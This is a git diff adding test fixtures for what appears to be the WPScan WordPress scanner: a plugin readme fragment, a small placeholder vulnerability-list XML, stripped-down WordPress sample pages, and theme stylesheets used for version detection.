to your wp-content/plugins directory +3. Login into your website and activate the plugin! + +== Frequently Asked Questions == + += I got locked out, what do I do? = + +Simple answer: wait. The lockdown will clear in the time you specified, just visit the site again later. + +If you absolutely need to get into your site right now, you can can do one of two things... +1. Fire up your FTP client and rename the `simple-login-lockdown` plugin folder +2. Login into your favorite database administration tool (probably PHPMyAdmin) and search for `locked_down_` in the `option_name` column of the `wp_options` table. Delete the records you find -- they should be "transients". + +== Screenshots == + +1. The plugin options on the Privacy Settings page diff --git a/spec/fixtures/wpscan/wp_plugin/vulnerabilities/plugin_vulns.xml b/spec/fixtures/wpscan/wp_plugin/vulnerabilities/plugin_vulns.xml new file mode 100644 index 00000000..9492f931 --- /dev/null +++ b/spec/fixtures/wpscan/wp_plugin/vulnerabilities/plugin_vulns.xml @@ -0,0 +1,27 @@ + + + + + + + WPScan Spec + http://secu.org/files/111319/ + XSS + + + + Spec SQL Injection + http://secu.org/files/1245/ + SQLI + + + + + + Simple Login Lockdown XSS + http://secu.org/files/1234/ + XSS + + + + diff --git a/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-subdirectories.htm b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-subdirectories.htm new file mode 100755 index 00000000..ae2d1090 --- /dev/null +++ b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-subdirectories.htm @@ -0,0 +1,138 @@ + + + + + + + + + + +Wordpress 3.4.1 Custom | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-with-spaces.htm b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-with-spaces.htm new file mode 100755 index 00000000..b2f8f7dd --- /dev/null +++ b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom-with-spaces.htm @@ -0,0 +1,138 @@ + + + + + + + + + + +Wordpress 3.4.1 Custom | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom.htm b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom.htm new file mode 100755 index 00000000..8feab76f --- /dev/null +++ b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-custom.htm @@ -0,0 +1,138 @@ + + + + + + + + + + +Wordpress 3.4.1 Custom | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-in-src.htm b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-in-src.htm new file mode 100755 index 00000000..f439aea4 --- /dev/null +++ b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1-in-src.htm @@ -0,0 +1,137 @@ + + + + + + + + + + +Wordpress 3.4.1 | Just another WordPress site + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1.htm b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1.htm new file mode 100755 index 00000000..4fbd55f1 --- /dev/null +++ b/spec/fixtures/wpscan/wp_target/wp_content_dir/wordpress-3.4.1.htm @@ -0,0 +1,138 @@ + + + + + + + + + + +Wordpress 3.4.1 | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_theme/find/css_link/theme-name-with-spaces.html b/spec/fixtures/wpscan/wp_theme/find/css_link/theme-name-with-spaces.html new file mode 100644 index 00000000..27199251 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/find/css_link/theme-name-with-spaces.html @@ -0,0 +1,131 @@ + + + + + + + + + + +wordpress-3.2.1 | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/wp_theme/find/css_link/wordpress-twentyeleven.htm b/spec/fixtures/wpscan/wp_theme/find/css_link/wordpress-twentyeleven.htm new file mode 100755 index 00000000..923be3e9 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/find/css_link/wordpress-twentyeleven.htm @@ -0,0 +1,131 @@ + + + + + + + + + + +wordpress-3.2.1 | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_theme/find/wooframework/editorial-1.3.5.html b/spec/fixtures/wpscan/wp_theme/find/wooframework/editorial-1.3.5.html new file mode 100644 index 00000000..bcd07ded --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/find/wooframework/editorial-1.3.5.html @@ -0,0 +1,32 @@ + + + + Target site + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/spec/fixtures/wpscan/wp_theme/find/wooframework/merchant-no-version.html b/spec/fixtures/wpscan/wp_theme/find/wooframework/merchant-no-version.html new file mode 100644 index 00000000..82202969 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/find/wooframework/merchant-no-version.html @@ -0,0 +1,32 @@ + + + + Target site + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/spec/fixtures/wpscan/wp_theme/version/bueno-1.5.1.css b/spec/fixtures/wpscan/wp_theme/version/bueno-1.5.1.css new file mode 100755 index 00000000..547777e8 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/version/bueno-1.5.1.css @@ -0,0 +1,198 @@ +/* Theme Name: Bueno Version: 1.5.1 Description: Designed by WooThemes +Author: WooThemes Author URI: http://www.woothemes.com Copyright: (c) 2009 WooThemes. +License: GNU/GPL Version 2 or later. http://www.gnu.org/licenses/gpl.html */ /* +WARNING! DO NOT EDIT THIS FILE! To make it easy to update your theme, you should +not edit the styles in this file. Instead use the custom.css file to add your +styles. You can copy a style from this file and paste it in custom.css and it +will override the style in this file. You have been warned! :) */ /* Default styles +*/ @import "css/reset.css"; /*------------------------------------------------------------------------------------------- +INDEX: 1. SETUP -1.1 Defaults -1.2 Hyperlinks 2. SITE STRUCTURE & APPEARANCE -2.1 +Containers & Columns -2.2 Navigation -2.2.1 Drop-down menus -2.3 Header -2.4 Content +-2.5 Sidebar -2.6 Extended Footer -2.7 Footer 3. POSTS -3.1 Typographic Elements +-3.2 Images -3.3 Pagination / WP-Pagenavi 4. WIDGETS -4.1 Generic Widgets -4.2 +Specific Widgets -4.3 Extended Footer Widgets 5. COMMENTS -5.1 Comments -5.2 Pingbacks +/ Trackbacks -5.3 Comments Form -5.4 Gravity forms -------------------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/* 1. SETUP */ /*-------------------------------------------------------------------------------------------*/ +/* 1.1 Defaults */ body { font: 14px Georgia, Times, Serif; line-height: 1.5; +color: #7a7a7a; } h1, h2, h3, h4, h5, h6 { margin: 0; font-family: Arial,Helvetica,Sans-serif; +color: #000; } h1 {font-size: 30px;} h2 {font-size: 24px;} h3 {font-size: 20px;} +h4 {font-size: 18px;} h5 {font-size: 14px;} h6 {font-size: 12px;} p {margin: 0;} +/* 1.2 Hyperlinks */ h1 a:link, h1 a:visited, h2 a:link, h2 a:visited, h3 a:link, +h3 a:visited, h4 a:link, h4 a:visited, h5 a:link, h5 a:visited, h6 a:link, h6 +a:visited { text-decoration: none; } h1 a:hover, h2 a:hover, h3 a:hover, h4 a:hover, +h5 a:hover, h6 a:hover {text-decoration: underline;} /*-------------------------------------------------------------------------------------------*/ +/* 2. SITE STRUCTURE & APPEARANCE */ /*-------------------------------------------------------------------------------------------*/ +/* 2.1 Containers & Columns */ #container { } .col-left { float: left; } .col-right +{ float: right; } .col-full { width: 940px; margin: 0 auto; } /* 2.2 Navigation +*/ #navigation { text-transform: uppercase; font-size:11px; background-color: +#000; } .nav, .nav ul { z-index:100; margin:0; padding:0; list-style:none; line-height:1; +} .nav li { float:left; width: auto; } /* 2.2.1 Drop-down menus */ .nav li ul +{ position: absolute; left: -999em; width: 160px; } .nav li ul li { border: 1px +solid #d8d8d8; background: #FFF; border-width: 0 1px 1px; } .nav li ul li a { +width:148px; line-height:25px!important; font-size:11px; color:#555!important; +padding: 0 0 0 10px; } .nav li ul ul { margin: -26px 0 0 158px!important; } .nav +li ul ul li a { } .nav li ul li ul li a { } .nav li:hover ul ul, .nav li:hover +ul ul ul, .nav li:hover ul ul ul ul, .nav li.sfhover ul ul, .nav li.sfhover ul +ul ul, .nav li.sfhover ul ul ul ul { left: -999em; } .nav li:hover ul, .nav li +li:hover ul, .nav li li li:hover ul, .nav li li li li:hover ul, .nav li.sfhover +ul, .nav li li.sfhover ul, .nav li li li.sfhover ul, .nav li li li li.sfhover +ul { left: auto;} .nav li:hover,.nav li.hover { position:static; } /* CATEGORY +NAVIGATION */ #catnav { width: 620px; } #catnav a:link, #catnav a:visited { display:block; +z-index:100; padding:0 20px 0 0; line-height: 50px; font-family: Helvetica, Arial, +sans-serif; text-decoration: none; color: #fff; } #catnav a:hover { text-decoration: +underline; } #catnav li ul { margin-top: -15px; border-top: 1px solid #d8d8d8; +} #catnav li ul a:link, #catnav li ul a:visited { padding: 0 0 0 10px; } #catnav +li ul a:hover { color: #000!important; background: #d8d8d8; } /* PAGES NAVIGATION +*/ #pagenav { margin-top: 20px; } #pagenav a { display:block; z-index:100; margin: +0; padding:0 15px 10px 15px; text-decoration: none; text-transform: uppercase; +font-size: 25px; font-family: Impact, Helvetica, arial, sans-serif; color: #000; +} #pagenav li ul a:link, #pagenav li ul a:visited { padding: 0 0 0 10px; font-family: +Helvetica, Arial, sans-serif !important; font-size: 14px; text-transform: none; +border: none; } #pagenav li.rss a { padding-right: 25px; } /* 2.3 Header */ #topsearch +{ width: 300px; line-height: 0; } #topsearch #searchform_top { margin: 14px 0 +0 0; } #header{padding:45px 0;clear:both;position:relative;} #logo { } #logo img +{ } #logo .site-title a { color:#222; font-size:48px; line-height:48px; text-transform:none; +font-weight:normal; text-decoration:none; } #logo .site-title a:hover { text-decoration:underline; +} #logo .site-description { color:#999; font:italic 14px Georgia, serif; } #logo +.site-title, #logo .site-description { display:none; } /* 2.4 Content */ #content{min-height:550px;padding:0;} +* html #content{height:550px;} #main{width:620px;} #main.fullwidth { width: 940px; +} /* 2.5 Sidebar */ #sidebar{width:300px;overflow:hidden;} /* 2.6 Extended Footer +*/ #extended-footer { margin: 50px 0 0 0; padding: 40px 0; } .block { float: left; +width: 300px; padding: 0 10px 0 0; } .one, .two { margin: 0 9px 0 0; } .three +{ padding: 0; } /* 2.7 Footer */ #footer { font-family: Helvetica, Arial, sans-serif; +font-size: 11px; padding: 20px 0; background-color: #000; color: #fff; text-transform: +uppercase; } #footer a:link, #footer a:visited { color: #fff; } #footer p { margin: +5px 0 0 0; } #footer #credit img { vertical-align: middle; } #footer #credit span +{ display: none; } /*-------------------------------------------------------------------------------------------*/ +/* 3. POSTS */ /*-------------------------------------------------------------------------------------------*/ +#breadcrumb, .archive_header { font-family: Helvetica, Arial, sans-serif; display: +block; margin:10px 0; padding: 0 55px; font-size: 18px; font-weight: bold; color: +#000; } #breadcrumb { font-size: 14px; font-weight: normal; padding: 0; } .archive_header +.catrss a { font-size: 14px; text-decoration: none; line-height: 28px; } .post +{ position: relative; margin: 0 0 60px 0; padding: 50px 55px; background-color: +#fff; border: 5px solid #efefef; } .post .title { width:100%; position:relative; +margin: 0 0 30px 0; padding: 0 0 25px 0; color: #000; border-bottom: 1px solid +#e7e7e7; font-size: 32px; font-family:Arial; } .post .title a:link, .post .title +a:visited { color: #000; } .post .title a:hover { text-decoration: none; } .post +.date { position: absolute; top: 30px; left: -40px; width: 71px; height: 60px; +padding: 10px 0 0 0; text-align: center; color: #fff; } .post .date .day { display: +block; font-size: 36px; line-height: 32px; } .post .date .month { display: block; +font-size: 12px; text-transform: uppercase; font-weight: bold; } .post-meta { +margin: 30px 0 0 0; font-size: 11px; color: #9F9F9F; border-top: 1px solid #c4c4c4; +border-bottom: 1px solid #c4c4c4; } .post-meta li { float: left; width: 154px; +padding: 10px 0 7px 10px; } .post-meta li.categories { border-left: 1px solid +#e7e7e7; border-right: 1px solid #e7e7e7; } .post-meta li span { display: block; +} .post-meta li .head { font-size: 10px; text-transform: uppercase; font-weight: +bold; font-family: Helvetica, Arial, sans-serif; color: #000; } .post-meta li +.body, .post-meta li .body a:link, .post-meta li .body a:visited { font-size: +13px; color: #7a7a7a; font-style: italic; text-decoration: none; } .post img.thumbnail +{ margin: 0 0 20px 0; } .entry {} /* 3.1 Typographic Elements */ .entry h1 {} +.entry h2 {} .entry h3 {} .entry h4 {} .entry h5 {} .entry h6 {} .entry h1, .entry +h2, .entry h3, .entry h4, .entry h5, .entry h6 { margin: 0 0 15px 0; } .entry +p { margin: 0 0 15px 0; } .entry blockquote { padding: 10px 30px; color: #666; +font-style: italic; font-size: 16px; } .entry blockquote p {} .entry ul { margin: +0 0 15px 0; padding: 0 0 0 30px; } .entry ul ul { margin: 0; } .entry ul li { +list-style-type: circle; } .entry ul ul li { list-style-type: disc; } .entry ol +{ margin: 0 0 15px 0; padding: 0 0 0 30px; } .entry ol ol { margin: 0; } .entry +ol li { list-style-type: upper-latin; } .entry ol li ol li { list-style-type: +lower-latin; } /* 3.2 Images */ img.wp-smiley { padding: 0; border: none; } .entry +.alignleft { float: left; width: auto; margin: 10px 15px 10px 0; } .entry .alignright +{ float: right; width: auto; margin: 10px 0 10px 15px; } .entry .aligncenter { +text-align: center; } .entry .wp-caption { padding: 1px; text-align:center; background:#F8F8F4; +border: solid 1px #e6e6e6; } .entry .wp-caption img{ margin:0; padding:4px 0; +background:none; border:0; } .entry .wp-caption-text { margin:0; padding:0; font-size:11px; +text-align:center; } /* 3.3 Pagination / WP-Pagenavi */ .more_entries { margin-top: +-30px; padding: 10px 55px; background-color: #fff; border: 5px solid #efefef; +} .more_entries a { display: block; margin: 0 0 0 0; text-transform: uppercase; +font-weight: bold; text-decoration: none; } .more_entries .wp-pagenavi { margin: +0; text-align: center; } .more_entries .wp-pagenavi a:link, .more_entries .wp-pagenavi +a:visited { display: inline; text-decoration: none !important; padding: 4px 6px!important; +} .more_entries .wp-pagenavi .current, .more_entries .wp-pagenavi .on, .more_entries +.wp-pagenavi a:hover { padding: 4px 7px; font-weight: bold; } .more_entries .wp-pagenavi +.extend { background:none; border:none; } /*-------------------------------------------------------------------------------------------*/ +/* 4. WIDGETS */ /*-------------------------------------------------------------------------------------------*/ +/* 4.1 Generic Widgets */ .widget { margin: 0 0 30px 0; } .widget h3 { margin: +0; padding: 10px 0; text-transform:uppercase; color: #404040; } .widget ul { clear:both; +} .widget ul li {} .widget ul li a:link, .widget ul li a:visited { display: block; +padding: 0 0 0 25px; line-height: 30px; text-decoration: none; color:#666; } .widget +ul ul { padding: 0 0 0 15px; border-top: none; } .widget_recent_comments li, #twitter +li { padding: 6px 0 6px 10px; line-height: 18px; } /* RESET LI STYLING FOR RECENT +COMMENT & TWITTER */ .widget_recent_comments li a, #twitter a { display: inline; +padding: 0; line-height: 18px!important; background: none!important; border: none!important; +} /* RESET STYLING FOR RECENT COMMENT & TWITTER */ /* 4.2 Specific Widgets +*/ /* FEATURED POSTS */ #featured li { float: left; width: 300px; padding: 10px +0; list-style: none; } #featured li a { padding: 0; background: none; border: +none; } #featured span { display: block; } #featured span.thumb { float: left; +width: 80px; } #featured .right { float: right; width: 200px; font-size: 12px; +line-height: 18px; } #featured .right h4 { margin: 0 0 5px 0; font-size: 14px; +line-height: 18px; } #featured .right h4 a { line-height: 18px; } /* WIDGET FORMS +*/ #searchform { margin: 15px 0 0 0; } input#s, input.field { float: left; width: +216px; padding: 5px 0 5px 5px; } input.submit { display:block; float: right; line-height: +17px; border: none; padding: 4px 5px; color: #fff; text-shadow: 1px 1px 0 #424242; +text-transform: uppercase; font-size: 12px; } .widget .screen-reader-text { display: +none; } /* FLICKR */ #flickr h3 {} #flickr h3 span{color:#0061D8;} #flickr h3 +span span{color:#FF1183;} #flickr .flickr_badge_image { width: 75px; float: left; +margin: 15px 34px 0 0; } #flickr .pictures { margin-right: -28px; } #flickr a +img { float: left; display: block;} /* LIFESTREAM */ .widget_lifestream ul li +a { border:none; background:none!important; } .widget_lifestream ul .lifestream_meta +{ color: inherit; } /* TEXT WIDGET */ .textwidget { padding: 10px 0; } /* CALENDAR +*/ #wp-calendar{width:95%;margin-bottom:15px;clear:both;padding:0;} #wp-calendar +caption{padding:10px;} #wp-calendar th,#wp-calendar td{text-align:center;padding:5px;} +#wp-calendar td{background:transparent;} #wp-calendar td,table#wp-calendar th{padding:3px +0;} /* ADS */ #sidebar .ads125 { padding: 0 0 12px 12px; background: #fff; } .ads125 +img { margin: 14px 16px 0 0; } /* 4.3 Extended Footer Widgets */ #extended-footer +.widget { margin: 0 0 30px 0; padding: 0 10px; } #extended-footer .widget h3 { +font-size: 16px; margin: 0 0 10px 0; padding: 0; border-bottom: none; } #extended-footer +.widget ul li a { padding: 0; line-height: 24px; background: none; border-bottom: +none; } #extended-footer .widget ul li a:hover { background: none; } #extended-footer +.textwidget { padding: 0; } #extended-footer #flickr .flickr_badge_image { width: +75px; float: left; margin: 15px 25px 0 0; } #extended-footer #flickr .pictures +{ margin-right: -28px; } #extended-footer input#s, #extended-footer input.field +{ width: 210px; } #extended-footer #advert_300x250 { padding-left: 0; padding-right: +0; } #extended-footer .ads125 img { margin: 14px 13px 0 0; } #extended-footer +.widget_recent_comments li, #extended-footer #twitter li { padding: 6px 0 6px +0; } /*-------------------------------------------------------------------------------------------*/ +/* 5. COMMENTS */ /*-------------------------------------------------------------------------------------------*/ +/* 5.1 Comments */ #comments { position:relative; margin: 0 0 60px 0; padding: +50px 55px; background-color: #fff; border: 5px solid #efefef; } #comments h3{ +margin: 0 0 20px 0; } #comments .comment{margin-top:10px;width:100%;list-style-type:none;} +#comments .comment .comment-container { padding: 10px 0; border-bottom: 3px solid +#eee;} #comments .comment-head { margin: 0 0 15px 0; } #comments .comment-head +.avatar { float: left; } #comments .comment-head .avatar img{margin: 0 10px 0 +0;vertical-align: middle;border:3px solid #eee;} #comments .comment-head .name +{ display: block; margin: 0 0 -5px 0; font-weight: bold; font-size: 15px; } #comments +.comment-head .date, #comments .comment-head .edit, #comments .comment-head .perma +{ font-size: 11px; } #comments .comment-entry p { margin: 0 0 10px 0;} #comments +ul.children{margin:10px 0 0 25px;padding:0;} #comments .cancel-comment-reply a, +#comments .comment-reply-link { text-transform: uppercase; font-family: helvetica, +arial, sans-serif; font-weight: bold; text-decoration: none; font-size: 11px;} +#comments .navigation { } #comments .navigation a{ display: block; margin: 15px +0 0 0; text-decoration: none; } #comments .navigation a:hover{} /* 5.2 Pingbacks +/ Trackbacks */ #pings { margin: 0 0 60px 0; padding: 50px 55px; background-color: +#fff; border: 5px solid #efefef; } #pings h3 { margin: 0 0 20px 0; } .pinglist +li { margin: 0 0 0 20px; list-style-type: decimal; } .pinglist li .author { font-weight: +bold; font-size: 15px; } .pinglist li .date { font-size: 11px; } .pinglist li +.pingcontent { display: block; margin: 10px 0; } /* 5.3 Comments Form */ #respond +{ margin: 15px 0 0 0; padding: 50px 55px; background-color: #fff; border: 5px +solid #efefef; } #comments #respond { padding: 20px 0; margin: 0; border: none; +} #comments #respond h3 { margin-bottom: 0; } #respond h3 { } #commentform { margin: +15px 0 0 0; } #commentform input.txt { width: 260px; margin: 0 5px 10px 0; padding: +7px 5px; border: 1px solid #eee; } #commentform label { font-family: Helvetica, +Arial, sans-serif; font-size: 11px; text-transform: uppercase; font-weight: bold; +} #commentform textarea { width: 95%!important; padding: 5px; border: 1px solid +#eee; } #commentform #submit { border: none; margin: 20px 0 0 0; padding: 4px +10px; color: #fff; text-shadow: 1px 1px 0 #424242; text-transform: uppercase; +font-size: 12px; } /* 5.4 Gravity forms */ .gfield { margin-bottom: 10px; } .gform_wrapper +.top_label .gfield_label { display:block;float:left; padding-right:20px; width: +100px; margin: 5px 0px 4px !important; } .gform_wrapper input.button { padding: +4px 10px 4px !important; color: #fff !important; text-shadow: 1px 1px 0 #424242; +text-transform: uppercase; font-size: 12px !important; } .gform_wrapper input +{ padding: 7px 3px !important; border: 1px solid #EEE; } .gform_wrapper .top_label +input.large, .gform_wrapper .top_label select.large, .gform_wrapper .top_label +textarea.textarea { width: 350px !important; padding: 7px 3px !important; border: +1px solid #EEE; } .gform_wrapper .entry img, .gform_wrapper img.thumbnail { padding: +0px !important; border: 0px !important; } ul.top_label .clear-multi { clear: none +!important; } .gform_wrapper .gfield_checkbox, .gform_wrapper .gfield_radio { +margin-left: 120px !important; } img.ui-datepicker-trigger { border: 0px !important; +padding: 0px; } \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_theme/version/twentyeleven-1.3.css b/spec/fixtures/wpscan/wp_theme/version/twentyeleven-1.3.css new file mode 100755 index 00000000..40979239 --- /dev/null +++ b/spec/fixtures/wpscan/wp_theme/version/twentyeleven-1.3.css @@ -0,0 +1,2679 @@ +/* +Theme Name: Twenty Eleven +Theme URI: http://wordpress.org/extend/themes/twentyeleven +Author: the WordPress team +Author URI: http://wordpress.org/ +Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. +Version: 1.3 +License: GNU General Public License +License URI: license.txt +Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready +*/ + +/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + border: 0; + font-family: inherit; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline; +} +:focus {/* remember to define focus styles! */ + outline: 0; +} +body { + background: #fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +table {/* tables still need 'cellspacing="0"' in the markup */ + border-collapse: separate; + border-spacing: 0; +} +caption, th, td { + font-weight: normal; + text-align: left; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ""; +} +blockquote, q { + quotes: "" ""; +} +a img { + border: 0; +} +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} + + +/* =Structure +----------------------------------------------- */ + +body { + padding: 0 2em; +} +#page { + margin: 2em auto; + max-width: 1000px; +} +#branding hgroup { + margin: 0 7.6%; +} +#access div { + margin: 0 7.6%; +} +#primary { + float: left; + margin: 0 -26.4% 0 0; + width: 100%; +} +#content { + margin: 0 34% 0 7.6%; + width: 58.4%; +} +#secondary { + float: right; + margin-right: 7.6%; + width: 18.8%; +} + +/* Singular */ +.singular #primary { + margin: 0; +} +.singular #content, +.left-sidebar.singular #content { + margin: 0 7.6%; + position: relative; + width: auto; +} +.singular .entry-header, +.singular .entry-content, +.singular footer.entry-meta, +.singular #comments-title { + margin: 0 auto; + width: 68.9%; +} + +/* Attachments */ +.singular .image-attachment .entry-content { + margin: 0 auto; + width: auto; +} +.singular .image-attachment .entry-description { + margin: 0 auto; + width: 68.9%; +} + +/* Showcase */ +.page-template-showcase-php #primary, +.left-sidebar.page-template-showcase-php #primary { + margin: 0; +} +.page-template-showcase-php #content, +.left-sidebar.page-template-showcase-php #content { + margin: 0 7.6%; + width: auto; +} +.page-template-showcase-php section.recent-posts { + float: right; + margin: 0 0 0 31%; + width: 69%; +} +.page-template-showcase-php #main .widget-area { + float: left; + margin: 0 -22.15% 0 0; + width: 22.15%; +} + +/* error404 */ +.error404 #primary { + float: none; + margin: 0; +} +.error404 #primary #content { + margin: 0 7.6%; + width: auto; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; + margin-right: 1.625em; +} +.alignright { + display: inline; + float: right; + margin-left: 1.625em; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* Right Content */ +.left-sidebar #primary { + float: right; + margin: 0 0 0 -26.4%; + width: 100%; +} +.left-sidebar #content { + margin: 0 7.6% 0 34%; + width: 58.4%; +} +.left-sidebar #secondary { + float: left; + margin-left: 7.6%; + margin-right: 0; + width: 18.8%; +} + +/* One column */ +.one-column #page { + max-width: 690px; +} +.one-column #content { + margin: 0 7.6%; + width: auto; +} +.one-column #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; +} +.one-column #secondary { + float: none; + margin: 0 7.6%; + width: auto; +} +/* Simplify the showcase template */ +.one-column .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; +} +.one-column .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; +} +.one-column .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; +} +/* Simplify the showcase template when small feature */ +.one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + height: auto; + max-width: 60%; + position: static; +} +.one-column article.feature-image.small { + margin: 0 0 1.625em; + padding: 0; +} +.one-column article.feature-image.small .entry-title { + font-size: 20px; + line-height: 1.3em; +} +.one-column article.feature-image.small .entry-summary { + height: 150px; + overflow: hidden; + padding: 0; + text-overflow: ellipsis; +} +.one-column article.feature-image.small .entry-summary a { + left: -9%; +} +/* Remove the margin on singular articles */ +.one-column.singular .entry-header, +.one-column.singular .entry-content, +.one-column.singular footer.entry-meta, +.one-column.singular #comments-title { + width: 100%; +} +/* Simplify the pullquotes and pull styles */ +.one-column.singular blockquote.pull { + margin: 0 0 1.625em; +} +.one-column.singular .pull.alignleft { + margin: 0 1.625em 0 0; +} +.one-column.singular .pull.alignright { + margin: 0 0 0 1.625em; +} +.one-column.singular .entry-meta .edit-link a { + position: absolute; + left: 0; + top: 40px; +} +.one-column.singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; +} +/* Make sure we have room for our comment avatars */ +.one-column .commentlist > li.comment { + margin-left: 102px; + width: auto; +} +/* Make sure the logo and search form don't collide */ +.one-column #branding #searchform { + right: 40px; + top: 4em; +} +/* Talking avatars take up too much room at this size */ +.one-column .commentlist > li.comment { + margin-left: 0; +} +.one-column .commentlist > li.comment .comment-meta, +.one-column .commentlist > li.comment .comment-content { + margin-right: 85px; +} +.one-column .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + top: 1.625em; + left: auto; + right: 1.625em; +} +.one-column .commentlist .children .avatar { + background: none; + padding: 0; + position: absolute; + top: 2.2em; + left: 2.2em; +} +.one-column #respond { + width: auto; +} + + +/* =Global +----------------------------------------------- */ + +body, input, textarea { + color: #373737; + font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + line-height: 1.625; +} +body { + background: #e2e2e2; +} +#page { + background: #fff; +} + +/* Headings */ +h1,h2,h3,h4,h5,h6 { + clear: both; +} +hr { + background-color: #ccc; + border: 0; + height: 1px; + margin-bottom: 1.625em; +} + +/* Text elements */ +p { + margin-bottom: 1.625em; +} +ul, ol { + margin: 0 0 1.625em 2.5em; +} +ul { + list-style: square; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ol ol ol ol { + list-style: lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} +dl { + margin: 0 1.625em; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 1.625em; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + font-family: Georgia, "Bitstream Charter", serif; + font-style: italic; + font-weight: normal; + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style: normal; +} +blockquote cite { + color: #666; + font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + letter-spacing: 0.05em; + text-transform: uppercase; +} +pre { + background: #f4f4f4; + font: 13px "Courier 10 Pitch", Courier, monospace; + line-height: 1.5; + margin-bottom: 1.625em; + overflow: auto; + padding: 0.75em 1.625em; +} +code, kbd { + font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} +abbr, acronym, dfn { + border-bottom: 1px dotted #666; + cursor: help; +} +address { + display: block; + margin: 0 0 1.625em; +} +ins { + background: #fff9c0; + text-decoration: none; +} +sup, +sub { + font-size: 10px; + height: 0; + line-height: 1; + position: relative; + vertical-align: baseline; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Forms */ +input[type=text], +input[type=password], +textarea { + background: #fafafa; + -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 0 1px 